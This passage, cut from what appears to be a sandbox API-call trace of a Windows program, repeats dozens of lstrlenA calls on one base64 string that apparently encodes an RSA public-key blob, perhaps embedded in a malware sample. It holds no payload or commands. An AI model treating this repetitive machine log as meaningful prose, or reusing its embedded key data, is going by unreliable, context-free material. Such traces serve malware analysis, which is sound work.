(lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.872] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.872] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.872] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.872] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.872] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.872] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.872] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.872] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.872] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.872] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.872] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.872] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.872] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.872] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.872] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.872] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.872] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.872] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.872] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.872] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.872] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.872] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.872] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.872] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.872] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.872] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.872] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.872] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.872] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.872] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.873] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.873] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.873] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.873] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.873] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.873] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.873] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.873] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.873] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.873] lstrlenA 